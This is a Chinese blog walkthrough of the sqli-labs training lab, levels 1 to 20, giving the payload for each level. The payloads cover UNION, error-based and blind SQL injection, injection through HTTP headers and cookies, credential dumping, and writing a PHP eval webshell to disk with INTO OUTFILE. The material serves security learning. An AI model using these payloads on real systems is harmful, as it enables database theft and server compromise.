搭建与安装

参考:https://www.fujieace.com/penetration-test/sqli-labs-ec.html

下载:sqli-labs下载

第一关:单引号报错注入

?id=-1' union select 1,(select group_concat(username,0x3a,password) from security.users),3--+

第二关:数值型报错注入

?id=100 union select 1,(select group_concat(username,0x3a,password) from security.users),3

第三关:单引号右括号报错注入

?id=-1') union select 1,(select group_concat(username,0x3a,password) from security.users),3--+

第四关:双引号右括号报错注入

?id=-1") union select 1,(select group_concat(username,0x3a,password) from security.users),3--+

第五关:单引号双查询报错注入

通过ExtractValue报错,最多输出32位。

?id=1' and extractvalue(1, concat(0x23,(select group_concat(username,0x3a,password) from security.users),0x23))--+

通过updatexml报错,最多输出32位

?id=1' and updatexml(1, concat(0x23,(select group_concat(username,0x3a,password) from security.users),0x23),1)--+

通过floor报错

?id=1' and(select 1 from (select count(*),concat(concat((select concat(username,0x7e,password,0x7e)from security.users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)--+

第六关:就是第五关的单引号变为双引号

第七关:into outfile来写shell

?id=1')) union select null,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,null into outfile 'C:\\phpStudy\\WWW\\sqli-labs\\Less-7\\1.php' --+

第七关有个问题,要想into outfile能够写入文件,必须在mysql中的my.ini文件中的mysqld下面写入secure_file_priv=

因为secure_file_priv=NULL时,是无法写入文件的。

第八关:布尔型单引号盲注

判断数据库长度

?id=1' and (length(database()))=8--+

猜库名

?id=1' and left((select database()),1)='s'--+
?id=1' and left((select database()),2)='se'--+
?id=1' and left((select database()),3)='sec'--+
?id=1' and left((select database()),4)='secu'--+
?id=1' and left((select database()),5)='secur'--+
?id=1' and left((select database()),6)='securi'--+
?id=1' and left((select database()),7)='securit'--+
?id=1' and left((select database()),8)='security'--+

判断第四张表的长度,users长度为5

?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 5 --+

猜表名

?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),1) = 'u' --+
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),2) = 'us'--+
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),3) = 'use' --+
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),4) = 'user' --+
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5) = 'users' --+

剩下的类似,只是更换一下payload即可。

第九关:时间型单引号盲注

判断数据库长度,长度正确便sleep5秒。

?id=1' and if(length(database())=8,sleep(5),1)--+

猜库名,正确便sleep5秒

?id=1' and if(left(database(),8)='security',sleep(5),1)--+

剩下的同第8关类似。

第十关:把第九关的单引号改为双引号

POST型可以用burp进行拦截改包

第十一关:单引号报错注入

uname=-admin' union select 1,(select group_concat(username,0x3a,password) from security.users)--+&passwd=admin&submit=Submit

大致与第一关没什么差别,只是列数只要两列了,用户名和密码都可以进行注入。

第十二关:双引号右括号报错注入

uname=-admin") union select 1,(select group_concat(username,0x3a,password) from security.users)--+&passwd=admin&submit=Submit

第十三关:单引号右括号报错注入,做法同第5关的类似,只是变为POST型而已

第十四关:双引号报错注入,做法依旧同第5关类似,POST型

第十五关:布尔型或时间型单引号盲注

时间延迟型爆数据库长度

uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit

布尔型爆数据库长度

uname=admin' and (length(database()))=8--+&passwd=admin&submit=Submit

参考第8,9关即可。

第十六关:布尔型或时间型双引号盲注

这一关的名字是说双引号,但是自己在做的时候发现双引号闭合不了,需要双引号加右括号才能闭合,所以我不确定是不是我自己环境的问题。

做法同十五关一样。

第十七关:update的注入

@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";

payload:

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,database(),0x7e),1)--+&submit=Submit

第十八关:UA的报错注入

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);

payload:

User-Agent: ' and updatexml(1,concat(0x23,(version()),0x23),1) and '

前后两个单引号不过是为了闭合'$uagent'前后两个引号。

第十九关:Referer的报错注入

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);

构造payload:

Referer: ' and updatexml(1,concat(0x23,(database()),0x23),1) and '

第二十关:cookie的报错注入

20关在burp中将抓取到的第一个包放掉,第二个包就可以看到cookie了。

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username'];
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
setcookie('uname', $cookee, time()+3600);
header ('Location: index.php');
echo "I LOVE YOU COOKIES";
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;

payload:

Cookie: uname='  union select 1,database(),version()#

sqli-labs之Page-1的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  6. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  7. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  8. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. [护网杯2018] easy_laravel

    前言 题目环境 buuoj 上的复现,和原版的题目不是完全一样.原题使用的是 nginx + mysql 而 buuoj 上的是 apache + sqlite composer 这是在 PHP5.3 ...

  2. Websec level 30

    前言 昨天在易霖博搞的网络安全与执法竞赛看到的一道web题,实际上就是用两个原题凑起来的.. 不过后面的一关没见过这里简单记录一下 第一关 打开是个登录界面,和BJDCTF的简单注入一模一样,连密码都 ...

  3. css中的宽和高

    width width表示宽 height height表示高 max-width.min-width max-width表示最大宽度 min-width表示最小宽度 max-height.min-h ...

  4. StringRedisTemplate的常用操作

    stringRedisTemplate.opsForValue().set("test", "100",60*10,TimeUnit.SECONDS);//向r ...

  5. dhcp协议抓包分析

    dhcp协议 DHCP,动态主机配置协议,前身是BOOTP协议,是一个局域网的网络协议,使用UDP协议工作,常用的2个端口:67(DHCP server),68(DHCP client). wires ...

  6. Python 基础教程(第二版)笔记 (2) 字典

    P59 字典方法 1. clear 2. copy, deepcopy 3. fromkeys 4. get 比下标安全 5. has_key 6. items, iteritems 7. keys, ...

  7. 牛客网练习赛61 A+B

    A.打怪 思路:先判定当小怪的攻击力为0时,你能杀无数只怪,因为小怪A不动你,然后再计算每个小怪最多能给你造成多少伤害(用小怪的血量除以你的攻击力,也就是你砍它几下它会死,你先手,所以小怪肯定比你少砍 ...

  8. Centos7网络配置( 网关、dns、ip地址配置)

    0.前提:设置VMware的虚拟网络编辑器 子网和网关设置   虚拟网络编辑器 1.配置DNS(可忽略) $vim /etc/resolv.conf nameserver 192.168.0.1 2. ...

  9. 图论——Tarjan 初步 DFS序+时间戳+欧拉序

    一.什么是DFS序: DFS序是按照先序遍历,先遍历根节点然后依次遍历左子树,右子树的过程,每次遇到新的节点就把新访问节点加到序列中,代码如下: int DFSrk[100000]; int cnt= ...

  10. 疯子的算法总结10--最小生成树Kruscal

    按照权值排序可得,就有如下顺序: 1. 1-2 1 2. 1-4 2 3. 1-5 2 4. 2-5 3 5. 2-3 4 6. 4-5 4 每次选取最小边泉,判断是否同属一个集合,如果不属于同一集合 ...